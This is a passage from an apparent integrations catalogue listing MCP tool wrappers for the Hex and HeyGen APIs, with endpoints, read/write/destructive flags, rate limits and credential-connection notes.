hex_delete_projects_by_projectid_runs_by_runid (write, destructive) — Cancel Run via DELETE /projects/{projectId}/runs/{runId}. Cancel a project run. Destructive and permanent; Hex offers no undo through this API. DELETE /api/v1/hex/projects/{projectId}/runs/{runId}. Scopes: api. hex_get_cells (read) — List Cells via GET /cells. List cells from the draft version of a project. Returns code, SQL, and markdown cell contents. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute GET /api/v1/hex/cells. Scopes: api. hex_get_cells_by_cellid (read) — Get Cell via GET /cells/{cellId}. Get a single cell by ID This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute GET /api/v1/hex/cells/{cellId}. Scopes: api. hex_get_cells_by_cellid_image (read) — Get Chart Image From Logic via GET /cells/{cellId}/image. Get the rendered PNG image of a chart cell from the project's current notebook (draft) session. The cell must have been executed and must not be in an error state. Only chart-type cells are supported. This endpoint is subject to the following rate limits: - `hex-chart-image`: Rate limits for rendering chart images - Max 20 requests per minute GET /api/v1/hex/cells/{cellId}/image. Scopes: api. hex_get_cells_by_cellid_output (read) — Get Cell Output via GET /cells/{cellId}/output. **Unstable**: This endpoint is unstable API. Hex may make breaking changes to this endpoint without notice. Get the latest output preview for a SQL cell in the active draft notebook session. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/cells/{cellId}/output. Scopes: api. hex_get_collections (read) — List Collections via GET /collections. GET /api/v1/hex/collections. Scopes: api. hex_get_collections_by_collectionid (read) — Get Collection via GET /collections/{collectionId}. GET /api/v1/hex/collections/{collectionId}. Scopes: api. hex_get_context_topics (read) — List Topics via GET /context/topics. List thread topics in the workspace, sorted by name. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/context/topics. Scopes: api. hex_get_data_connections (read) — List Data Connections via GET /data-connections. List the workspace's data connections. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/data-connections. Scopes: api. hex_get_data_connections_by_dataconnectionid (read) — Get Data Connection via GET /data-connections/{dataConnectionId}. Get a single data connection by its ID. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/data-connections/{dataConnectionId}. Scopes: api. hex_get_groups (read) — List Groups via GET /groups. GET /api/v1/hex/groups. Scopes: api. hex_get_groups_by_groupid (read) — Get Group via GET /groups/{groupId}. GET /api/v1/hex/groups/{groupId}. Scopes: api. hex_get_guides_draft_list (read) — List Draft Guides via GET /guides/draft/list. List draft guides This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute GET /api/v1/hex/guides/draft/list. Scopes: api. hex_get_projects (read) — List Projects via GET /projects. List all viewable projects, sorted by most recently created first. GET /api/v1/hex/projects. Scopes: api. hex_get_projects_by_projectid (read) — Get Project via GET /projects/{projectId}. Get metadata about a single project. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/projects/{projectId}. Scopes: api. hex_get_projects_by_projectid_queriedtables (read) — Get Queried Tables via GET /projects/{projectId}/queriedTables. Given a project ID, return the list of warehouse tables queried in the project. GET /api/v1/hex/projects/{projectId}/queriedTables. Scopes: api. hex_get_projects_by_projectid_runs (read) — Get Project Runs via GET /projects/{projectId}/runs. Get the status of runs of a project. By default, all run types are returned (API-triggered, scheduled, and publish/refresh runs). Use the `runTriggerFilter` parameter to filter to a specific type. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/projects/{projectId}/runs. Scopes: api. hex_get_projects_by_projectid_runs_by_runid (read) — Get Run Status via GET /projects/{projectId}/runs/{runId}. Get the status of a project run. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) `enable_expanded_stats` is sent as the `enable-expanded-stats` request header, not as a query parameter. GET /api/v1/hex/projects/{projectId}/runs/{runId}. Scopes: api. hex_get_projects_by_projectid_runs_by_runid_cells_by_staticid_image (read) — Get Chart Image From Run via GET /projects/{projectId}/runs/{runId}/cells/{staticId}/image. Get the rendered PNG image of a chart cell from a completed run by staticCellId. The cell must have been executed and must not be in an error state. Only chart-type cells are supported. This endpoint is subject to the following rate limits: - `hex-chart-image`: Rate limits for rendering chart images - Max 20 requests per minute GET /api/v1/hex/projects/{projectId}/runs/{runId}/cells/{staticId}/image. Scopes: api. hex_get_suggestions (read) — List Suggestions via GET /suggestions. List context suggestions for the workspace. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute GET /api/v1/hex/suggestions. Scopes: api. hex_get_suggestions_by_suggestionid (read) — Get Suggestion via GET /suggestions/{suggestionId}. Get a single context suggestion by id, including its evidence sources and the proposed changes from its most recent review run. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute GET /api/v1/hex/suggestions/{suggestionId}. Scopes: api. hex_get_threads (read) — List Threads via GET /threads. List agent threads in the workspace, sorted by most recently created first. Requires Manager org role or higher. Workspace admins receive every non-private thread; managers receive threads they created plus Threads-type threads on projects they have access to. Threads marked private are returned with their title redacted. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/threads. Scopes: api. hex_get_threads_by_id (read) — Get Thread via GET /threads/{id}. Get the response of an agent thread. Returns the current status (RUNNING, IDLE, or ERROR) and the agent's response content when available. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/threads/{id}. Scopes: api. hex_get_threads_by_threadid_messages (read) — Get Thread Messages via GET /threads/{threadId}/messages. List the messages in an agent thread, rendered as a single flat list of text blocks. Within a page messages are chronological (oldest first); each text block is prefixed with the authoring role, and thinking and error blocks are tagged. Each block includes the creation time of its originating message. Tool-call, tool-result, and mention blocks are omitted, and inline references are left as raw tags. By default the most recent page is returned (matching the MCP get_thread tool); pass the `before` cursor to fetch older messages and `after` to fetch newer ones. Set `full` to include JSON-encoded message records with thinking, tool calls, results, and mentions. Supports cursor pagination with a maximum page size of 50. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) GET /api/v1/hex/threads/{threadId}/messages. Scopes: api. hex_get_users (read) — List Users via GET /users. List all users in the workspace This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute GET /api/v1/hex/users. Scopes: api. hex_get_users_me (read) — Me via GET /users/me. Returns information about the current logged in user. User metadata will be omitted when authenticating with a workspace token. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute GET /api/v1/hex/users/me. Scopes: api. hex_patch_cells_by_cellid (write) — Update Cell via PATCH /cells/{cellId}. Update a cell's source and/or data connection. For SQL cells, can update the SQL source, output dataframe, and data connection. For code and markdown cells, can update the source. Returns the updated cell. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute PATCH /api/v1/hex/cells/{cellId}. Scopes: api. hex_patch_collections_by_collectionid (write) — Edit Collection via PATCH /collections/{collectionId}. PATCH /api/v1/hex/collections/{collectionId}. Scopes: api. hex_patch_data_connections_by_dataconnectionid (write) — Edit Data Connection via PATCH /data-connections/{dataConnectionId}. PATCH /api/v1/hex/data-connections/{dataConnectionId}. Scopes: api. hex_patch_data_connections_by_dataconnectionid_schema (write) — Update Data Connection Schema via PATCH /data-connections/{dataConnectionId}/schema. Use this endpoint to add or remove a status (including endorsements) from databases, schemas, and tables within a data connection This endpoint uses atomic semantics - if any update in the batch fails validation, the entire request fails and no changes are applied PATCH /api/v1/hex/data-connections/{dataConnectionId}/schema. Scopes: api. hex_patch_groups_by_groupid (write) — Edit Group via PATCH /groups/{groupId}. PATCH /api/v1/hex/groups/{groupId}. Scopes: api. hex_patch_projects_by_projectid (write) — Update Project via PATCH /projects/{projectId}. Add or remove a status, including endorsements, from a project. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) PATCH /api/v1/hex/projects/{projectId}. Scopes: api. hex_patch_projects_by_projectid_sharing_collections (write) — Edit Project Sharing Collections via PATCH /projects/{projectId}/sharing/collections. Add a project to collections or remove it from collections. For projects, use `CAN_VIEW` to grant the UI permission labeled "Can explore". Use `APP_ONLY` to grant the UI permission labeled "Can view app". Workspace tokens calling this endpoint need to have "Collections -> Write access" scope in addition to "Projects -> Write access" scope. A personal access token (`hxtp_`) needs its own owner to hold those two permissions; a workspace token (`hxtw_`) needs them ticked in its Hex permission grid. PATCH /api/v1/hex/projects/{projectId}/sharing/collections. Scopes: api. hex_patch_projects_by_projectid_sharing_groups (write) — Edit Project Sharing Groups via PATCH /projects/{projectId}/sharing/groups. Add groups to a project or update/remove their project sharing access. Use CAN_VIEW for the UI permission labeled "Can explore" and APP_ONLY for "Can view app". Use NONE to remove a group's access. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) PATCH /api/v1/hex/projects/{projectId}/sharing/groups. Scopes: api. hex_patch_projects_by_projectid_sharing_users (write) — Edit Project Sharing Users via PATCH /projects/{projectId}/sharing/users. Add users to a project or update/remove their project sharing access. Use CAN_VIEW for the UI permission labeled "Can explore" and APP_ONLY for "Can view app". Use NONE to remove a user's access. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute PATCH /api/v1/hex/projects/{projectId}/sharing/users. Scopes: api. hex_patch_projects_by_projectid_sharing_workspaceandpublic (write) — Edit Project Sharing Org And Public via PATCH /projects/{projectId}/sharing/workspaceAndPublic. Update workspace or public-web sharing for a project. For projects, use CAN_VIEW to grant the UI permission labeled "Can explore" and APP_ONLY for "Can view app". Use NONE to remove access. Omitted fields are left unchanged. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) PATCH /api/v1/hex/projects/{projectId}/sharing/workspaceAndPublic. Scopes: api. hex_patch_semantic_models_by_semanticprojectid (write) — Update Semantic Project (via /semantic-models) via PATCH /semantic-models/{semanticProjectId}. Use this endpoint to add or remove a status (including endorsements) from datasets and views within a semantic project This endpoint uses atomic semantics - if any update in the batch fails validation, the entire request fails and no changes are applied. Hex publishes this route as the regex alternation `/semantic-(projects|models)/{semanticProjectId}` in its own OpenAPI document; the literal alternation is NOT a route (404 NOT_FOUND, measured 2026-09-16) and both spellings are, answering 401 to a bogus token. This tool calls the spelling in its name; the other spelling is the same resource under an alias path, so either will do. PATCH /api/v1/hex/semantic-models/{semanticProjectId}. Scopes: api. hex_patch_semantic_projects_by_semanticprojectid (write) — Update Semantic Project (via /semantic-projects) via PATCH /semantic-projects/{semanticProjectId}. Use this endpoint to add or remove a status (including endorsements) from datasets and views within a semantic project This endpoint uses atomic semantics - if any update in the batch fails validation, the entire request fails and no changes are applied. Hex publishes this route as the regex alternation `/semantic-(projects|models)/{semanticProjectId}` in its own OpenAPI document; the literal alternation is NOT a route (404 NOT_FOUND, measured 2026-09-16) and both spellings are, answering 401 to a bogus token. This tool calls the spelling in its name; the other spelling is the same resource under an alias path, so either will do. PATCH /api/v1/hex/semantic-projects/{semanticProjectId}. Scopes: api. hex_post_cells (write) — Create Cell via POST /cells. Create a new cell in the draft version of a project This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute POST /api/v1/hex/cells. Scopes: api. hex_post_collections (write) — Create Collection via POST /collections. POST /api/v1/hex/collections. Scopes: api. hex_post_data_connections (write) — Create Data Connection via POST /data-connections. POST /api/v1/hex/data-connections. Scopes: api. hex_post_embedding_createpresignedurl_by_projectid (write) — Create Presigned Url via POST /embedding/createPresignedUrl/{projectId}. Create an embedded url for a project POST /api/v1/hex/embedding/createPresignedUrl/{projectId}. Scopes: api. hex_post_groups (write) — Create Group via POST /groups. POST /api/v1/hex/groups. Scopes: api. hex_post_guides_publish (write) — Publish Guide Drafts via POST /guides/publish. Publish all currently drafted guides. POST /api/v1/hex/guides/publish. Scopes: api. hex_post_projects (write) — Create Project via POST /projects. Create a new project in the workspace with the specified title, and optionally a description. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) POST /api/v1/hex/projects. Scopes: api. hex_post_projects_by_projectid_runs (write) — Run Project via POST /projects/{projectId}/runs. Trigger a run of the latest published version of a project. This endpoint is subject to the following rate limits: - `hex-run-kernel`: Rate limits for starting project runs or sending thread messages - Max requests per minute may vary - Max requests per hour may vary POST /api/v1/hex/projects/{projectId}/runs. Scopes: api. hex_post_projects_export (write) — Export Project via POST /projects/export. Exports a Hex project in the *.hex.yaml format. Availability of this endpoint varies by organization. Contact Hex support to request access. This endpoint is subject to the following rate limits: - `hex-api`: Default rate limit group for the Hex API - Max requests per minute may vary (default: 30) - Max requests per hour may vary (default: 1800) POST /api/v1/hex/projects/export. Scopes: api. hex_post_semantic_models_by_semanticprojectid_ingest (write) — Ingest Semantic Project (via /semantic-models) via POST /semantic-models/{semanticProjectId}/ingest. Ingest a semantic project from a zip file. This API endpoint is subject to a maximum of 3 requests per minute. Hex publishes this route as the regex alternation `/semantic-(projects|models)/{semanticProjectId}` in its own OpenAPI document; the literal alternation is NOT a route (404 NOT_FOUND, measured 2026-09-16) and both spellings are, answering 401 to a bogus token. This tool calls the spelling in its name; the other spelling is the same resource under an alias path, so either will do. POST /api/v1/hex/semantic-models/{semanticProjectId}/ingest. Scopes: api. hex_post_semantic_projects_by_semanticprojectid_ingest (write) — Ingest Semantic Project (via /semantic-projects) via POST /semantic-projects/{semanticProjectId}/ingest. Ingest a semantic project from a zip file. This API endpoint is subject to a maximum of 3 requests per minute. Hex publishes this route as the regex alternation `/semantic-(projects|models)/{semanticProjectId}` in its own OpenAPI document; the literal alternation is NOT a route (404 NOT_FOUND, measured 2026-09-16) and both spellings are, answering 401 to a bogus token. This tool calls the spelling in its name; the other spelling is the same resource under an alias path, so either will do. POST /api/v1/hex/semantic-projects/{semanticProjectId}/ingest. Scopes: api. hex_post_suggestions_by_suggestionid (write) — Update Suggestion via POST /suggestions/{suggestionId}. Update the status of a context suggestion. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute POST /api/v1/hex/suggestions/{suggestionId}. Scopes: api. hex_post_suggestions_by_suggestionid_changes_by_changeid (write) — Update Suggestion Change via POST /suggestions/{suggestionId}/changes/{changeId}. Update the status of an individual proposed change within a context suggestion. The change is either a file update or a data-warehouse update, selected by `updateTarget`. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute POST /api/v1/hex/suggestions/{suggestionId}/changes/{changeId}. Scopes: api. hex_post_suggestions_by_suggestionid_review (write) — Trigger Suggestion Review via POST /suggestions/{suggestionId}/review. Trigger a background review agent run for the given context suggestion. If a review is already in flight for this suggestion, returns the current run. This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute POST /api/v1/hex/suggestions/{suggestionId}/review. Scopes: api. hex_post_threads (write) — Create Thread via POST /threads. Start an agent thread with a prompt. The Hex agent will analyze data and respond to the prompt. The thread runs asynchronously — poll its status or visit the returned URL to view progress. Availability of this endpoint varies by organization. Contact Hex support to request access. This endpoint is subject to the following rate limits: - `hex-run-kernel`: Rate limits for starting project runs or sending thread messages - Max requests per minute may vary - Max requests per hour may vary POST /api/v1/hex/threads. Scopes: api. hex_post_threads_by_id_followup (write) — Continue Thread via POST /threads/{id}/followup. Continue an existing agent thread with a follow-up prompt. This endpoint does not support queuing: the thread must be idle before a follow-up can be sent. Availability of this endpoint varies by organization. Contact Hex support to request access. This endpoint is subject to the following rate limits: - `hex-run-kernel`: Rate limits for starting project runs or sending thread messages - Max requests per minute may vary - Max requests per hour may vary POST /api/v1/hex/threads/{id}/followup. Scopes: api. hex_post_users_by_userid_deactivate (write, destructive) — Deactivate User via POST /users/{userId}/deactivate. Deactivate a user This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute Destructive and permanent; Hex offers no undo through this API. POST /api/v1/hex/users/{userId}/deactivate. Scopes: api. hex_put_guides_draft (write) — Upsert Guide Draft via PUT /guides/draft. Update or create guide drafts by filePath. Accepts a dictionary mapping file paths to their contents. For each file: - If the guide doesn't exist, it will be created. - If the guide exists but has no draft, a new draft will be created. - If the guide exists with a draft, the draft contents will be updated. PUT /api/v1/hex/guides/draft. Scopes: api. ================================================================================ ## HeyGen URL: https://www.agenticfabriq.com/integrations/heygen Section: Integrated Tools HeyGen — 186 MCP tools Provider key: heygen. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. heygen_delete_v1_video_delete (write, destructive) — Delete a Video via DELETE /v1/video.delete DELETE /api/v1/heygen/v1/video.delete. Scopes: api. heygen_delete_v1_webhook_endpoint_delete (write, destructive) — delete an existing webhook endpoint via DELETE /v1/webhook/endpoint.delete DELETE /api/v1/heygen/v1/webhook/endpoint.delete. Scopes: api. heygen_delete_v2_video_avatar_by_avatar_id (write, destructive) — Deletes a Digital Twin by its ID. via DELETE /v2/video_avatar/{avatar_id} DELETE /api/v1/heygen/v2/video_avatar/{avatar_id}. Scopes: api. heygen_delete_v2_videos_by_video_id (write, destructive) — Permanently delete a video. Supports both generated and translated videos. via DELETE /v2/videos/{video_id} DELETE /api/v1/heygen/v2/videos/{video_id}. Scopes: api. heygen_delete_v3_ai_clipping_by_job_id (write, destructive) — Soft-deletes an AI clip job and its clips. via DELETE /v3/ai-clipping/{job_id} DELETE /api/v1/heygen/v3/ai-clipping/{job_id}. Scopes: api. heygen_delete_v3_assets_by_asset_id (write, destructive) — Permanently deletes an asset. The asset must belong to the caller's workspace and not already be deleted. via DELETE /v3/assets/{asset_id} DELETE /api/v1/heygen/v3/assets/{asset_id}. Scopes: api. heygen_delete_v3_avatars_by_group_id (write, destructive) — Permanently deletes an avatar group and all its associated looks. Cannot delete public or community groups. via DELETE /v3/avatars/{group_id} DELETE /api/v1/heygen/v3/avatars/{group_id}. Scopes: api. heygen_delete_v3_avatars_looks_by_look_id (write, destructive) — Deletes an avatar look and its backing resource. Supported types: photo_avatar, digital_twin, and kit-based looks. Studio avatar (model_index) types cannot be deleted via the API. **Warning:** deleting the last look in a group also deletes the parent group. Subsequent requests referencing that group id (e.g. `POST /v3/avatars` with `avatar_group_id`) return 404 not found. via DELETE /v3/avatars/looks/{look_id} DELETE /api/v1/heygen/v3/avatars/looks/{look_id}. Scopes: api. heygen_delete_v3_background_removals_by_job_id (write, destructive) — Soft-deletes a background removal job. via DELETE /v3/background-removals/{job_id} DELETE /api/v1/heygen/v3/background-removals/{job_id}. Scopes: api. heygen_delete_v3_brand_glossaries_by_brand_glossary_id (write, destructive) — Deletes a brand glossary. This cannot be undone: there is no way to restore a deleted brand glossary through the API. The glossary stops being returned by this API at once, and stops applying: neither its pronunciation terms nor its translation rules affect anything generated afterwards. Videos already generated with the glossary are unaffected, since their audio was synthesized at the time. A video or translation still configured with a deleted glossary keeps working rather than failing. via DELETE /v3/brand-glossaries/{brand_glossary_id} DELETE /api/v1/heygen/v3/brand-glossaries/{brand_glossary_id}. Scopes: api. heygen_delete_v3_brand_kits_by_brand_kit_id (write, destructive) — Deletes a brand kit, along with the colors, logos and fonts it holds. This cannot be undone: there is no way to restore a deleted brand kit through the API. A kit that is still assembling can be deleted at any time. Videos already generated with the kit are unaffected, since their brand colors were applied at render time. A video agent still configured with a deleted kit will report the id as invalid on its next use. A brand kit shared into your workspace by another workspace can be read but not deleted, and returns 403. via DELETE /v3/brand-kits/{brand_kit_id} DELETE /api/v1/heygen/v3/brand-kits/{brand_kit_id}. Scopes: api. heygen_delete_v3_hyperframes_renders_by_render_id (write, destructive) — Soft-deletes a HyperFrames render. Subsequent GETs return 404. via DELETE /v3/hyperframes/renders/{render_id} DELETE /api/v1/heygen/v3/hyperframes/renders/{render_id}. Scopes: api. heygen_delete_v3_lipsyncs_by_lipsync_id (write, destructive) — Permanently deletes a lipsync job and its associated files. This action cannot be undone. via DELETE /v3/lipsyncs/{lipsync_id} DELETE /api/v1/heygen/v3/lipsyncs/{lipsync_id}. Scopes: api. heygen_delete_v3_models_audio_voices_by_voice_id (write, destructive) — Deletes the caller-owned model-backed audio voice. The voice is removed from subsequent reads, but a voice cannot be deleted while its status is `PENDING`. Wait for training to finish and retry. Repeating a successful deletion returns the same successful response. via DELETE /v3/models/audio/voices/{voice_id} DELETE /api/v1/heygen/v3/models/audio/voices/{voice_id}. Scopes: api. heygen_delete_v3_podcasts_by_podcast_id (write, destructive) — Soft-deletes a podcast so it no longer appears in the get/list endpoints. Does not cancel in-flight generation or permanently remove files. Idempotent: deleting an already-deleted podcast succeeds. via DELETE /v3/podcasts/{podcast_id} DELETE /api/v1/heygen/v3/podcasts/{podcast_id}. Scopes: api. heygen_delete_v3_video_translations_by_video_translation_id (write, destructive) — Permanently deletes a video translation and its associated files. This action cannot be undone. via DELETE /v3/video-translations/{video_translation_id} DELETE /api/v1/heygen/v3/video-translations/{video_translation_id}. Scopes: api. heygen_delete_v3_videos_by_video_id (write, destructive) — Permanently deletes a video and its associated files. This action cannot be undone. via DELETE /v3/videos/{video_id} DELETE /api/v1/heygen/v3/videos/{video_id}. Scopes: api. heygen_delete_v3_voices_by_voice_id (write, destructive) — Deletes a voice clone owned by the caller. The voice must not be in use by any template. The voice is removed from your voice list and no longer counts against your voice clone limit. Deleting an already-deleted or unknown voice returns 404 `voice_not_found` (not 200) — a delete-then-list flow should treat that 404 as success, not an error. via DELETE /v3/voices/{voice_id} DELETE /api/v1/heygen/v3/voices/{voice_id}. Scopes: api. heygen_delete_v3_webhooks_endpoints_by_endpoint_id (write, destructive) — Permanently removes a webhook endpoint. Events will no longer be delivered to this URL. This action cannot be undone. via DELETE /v3/webhooks/endpoints/{endpoint_id} DELETE /api/v1/heygen/v3/webhooks/endpoints/{endpoint_id}. Scopes: api. heygen_get_v1_audio_voices (read) — List voices available for TTS generation with cursor-based pagination. Filter by type (public/private), language, and gender. via GET /v1/audio/voices GET /api/v1/heygen/v1/audio/voices. Scopes: api. heygen_get_v1_brand_voice_list (read) — This endpoint is used to retrieve a list of brand voices your created via GET /v1/brand_voice/list GET /api/v1/heygen/v1/brand_voice/list. Scopes: api. heygen_get_v1_folders (read) — Retrieves a list of folders with optional filters. via GET /v1/folders GET /api/v1/heygen/v1/folders. Scopes: api. heygen_get_v1_user_me (read) — Returns the authenticated user's profile, remaining credits or balance, and billing details. The billing_type field indicates which billing object is populated: wallet (prepaid balance), subscription (OAuth credit pools), or usage_based (metered spending). via GET /v1/user/me GET /api/v1/heygen/v1/user/me. Scopes: api. heygen_get_v1_video_list (read) — This endpoint retrieves a list of videos associated with the user. via GET /v1/video.list GET /api/v1/heygen/v1/video.list. Scopes: api. heygen_get_v1_video_status_get (read) — This endpoint allows you to retrieve the status and details of a specific video. via GET /v1/video_status.get GET /api/v1/heygen/v1/video_status.get. Scopes: api. heygen_get_v1_webhook_endpoint_list (read) — list all your registered webhook endpoints via GET /v1/webhook/endpoint.list GET /api/v1/heygen/v1/webhook/endpoint.list. Scopes: api. heygen_get_v1_webhook_webhook_list (read) — list all supported webhook events via GET /v1/webhook/webhook.list GET /api/v1/heygen/v1/webhook/webhook.list. Scopes: api. heygen_get_v1_workflows (read) — List all available workflow types with their input/output schemas. via GET /v1/workflows GET /api/v1/heygen/v1/workflows. Scopes: api. heygen_get_v1_workflows_executions_by_execution_id (read) — Poll the status and output of a workflow execution. **Single-workflow executions** return output in the `output` field. **Multi-workflow graph executions** return all outputs in the `outputs` field, keyed by workflow ID. via GET /v1/workflows/executions/{execution_id} GET /api/v1/heygen/v1/workflows/executions/{execution_id}. Scopes: api. heygen_get_v2_avatar_group_by_group_id_avatars (read) — List all avatars in one avatar group via GET /v2/avatar_group/{group_id}/avatars GET /api/v1/heygen/v2/avatar_group/{group_id}/avatars. Scopes: api. heygen_get_v2_avatar_group_list (read) — List all avatar groups via GET /v2/avatar_group.list GET /api/v1/heygen/v2/avatar_group.list. Scopes: api. heygen_get_v2_avatars (read) — You can get your Avatars and Talking Photos(Photo Avatars) with this endpoint. via GET /v2/avatars GET /api/v1/heygen/v2/avatars. Scopes: api. heygen_get_v2_photo_avatar_by_id (read) — Get the details of a photo avatar via GET /v2/photo_avatar/{id} GET /api/v1/heygen/v2/photo_avatar/{id}. Scopes: api. heygen_get_v2_photo_avatar_generation_by_generation_id (read) — Check photo/look generation status via GET /v2/photo_avatar/generation/{generation_id} GET /api/v1/heygen/v2/photo_avatar/generation/{generation_id}. Scopes: api. heygen_get_v2_photo_avatar_train_status_by_group_id (read) — Get the training status of a avatar group via GET /v2/photo_avatar/train/status/{group_id} GET /api/v1/heygen/v2/photo_avatar/train/status/{group_id}. Scopes: api. heygen_get_v2_template_by_template_id (read) — This API now supports New AI Studio! via GET /v2/template/{template_id} GET /api/v1/heygen/v2/template/{template_id}. Scopes: api. heygen_get_v2_templates (read) — This API now supports New AI Studio! via GET /v2/templates GET /api/v1/heygen/v2/templates. Scopes: api. heygen_get_v2_user_remaining_quota (read) — Get Remaining Quota via GET /v2/user/remaining_quota GET /api/v1/heygen/v2/user/remaining_quota. Scopes: api. heygen_get_v2_video_avatar_by_avatar_id (read) — Checks the current status of the Digital Twin generation process and returns relevant details. via GET /v2/video_avatar/{avatar_id} GET /api/v1/heygen/v2/video_avatar/{avatar_id}. Scopes: api. heygen_get_v2_video_translate_by_video_translate_id (read) — Check Translation Status via GET /v2/video_translate/{video_translate_id} GET /api/v1/heygen/v2/video_translate/{video_translate_id}. Scopes: api. heygen_get_v2_video_translate_caption (read) — Get the caption file (SRT or VTT format) for a completed video translation. The translation must have status "completed" — use get_video to check status first. Requires enable_caption=true when creating the translation. via GET /v2/video_translate/caption GET /api/v1/heygen/v2/video_translate/caption. Scopes: api. heygen_get_v2_video_translate_target_languages (read) — List all supported target language codes for video translation. Call this before create_video_translate to validate language choices. via GET /v2/video_translate/target_languages GET /api/v1/heygen/v2/video_translate/target_languages. Scopes: api. heygen_get_v2_videos (read) — List videos in the account with pagination and optional filtering. via GET /v2/videos GET /api/v1/heygen/v2/videos. Scopes: api. heygen_get_v2_videos_by_video_id (read) — Get detailed information about a video including status, URLs, and metadata. Supports both generated and translated videos. via GET /v2/videos/{video_id} GET /api/v1/heygen/v2/videos/{video_id}. Scopes: api. heygen_get_v2_voices (read) — List All Voices (V2) via GET /v2/voices GET /api/v1/heygen/v2/voices. Scopes: api. heygen_get_v3_ai_clipping (read) — Returns a cursor-paginated list of AI clip jobs in the authenticated user's workspace, newest first. via GET /v3/ai-clipping GET /api/v1/heygen/v3/ai-clipping. Scopes: api. heygen_get_v3_ai_clipping_by_job_id (read) — Returns the full job resource including produced clips, statuses, and presigned download URLs. via GET /v3/ai-clipping/{job_id} GET /api/v1/heygen/v3/ai-clipping/{job_id}. Scopes: api. heygen_get_v3_assets (read) — **Beta** — this endpoint may change with a few days' notice. Lists a workspace member's uploaded assets, newest first, with cursor-based pagination. Returns the same asset objects as GET /v3/assets/{asset_id}. The 'username' parameter (the 'owner' value on asset items) is required while the endpoint is in beta and will become an optional filter in a future release. Results are that member's non-deleted assets, across all folders, that the caller has access to — each item carries 'owner' and 'folder_id'. Pass the optional folder_id to narrow to one folder (empty folder_id = root-level assets); omit it for everything. via GET /v3/assets GET /api/v1/heygen/v3/assets. Scopes: api. heygen_get_v3_assets_batches_by_batch_id (read) — Returns batch aggregate status and one page of items with their ids and statuses. Item statuses are one of queued, processing, completed, or failed. The per-item id is returned as video_id (the batch read model is shared with the videos batch API); for asset batches it holds the asset_id. via GET /v3/assets/batches/{batch_id} GET /api/v1/heygen/v3/assets/batches/{batch_id}. Scopes: api. heygen_get_v3_assets_by_asset_id (read) — Returns metadata for an asset in the caller's workspace — including owner, upload timestamp, file type, and a publicly accessible URL. via GET /v3/assets/{asset_id} GET /api/v1/heygen/v3/assets/{asset_id}. Scopes: api. heygen_get_v3_assets_search (read) — Semantically search re-hosted public images and icons by natural-language description, e.g. 'pepperoni pizza 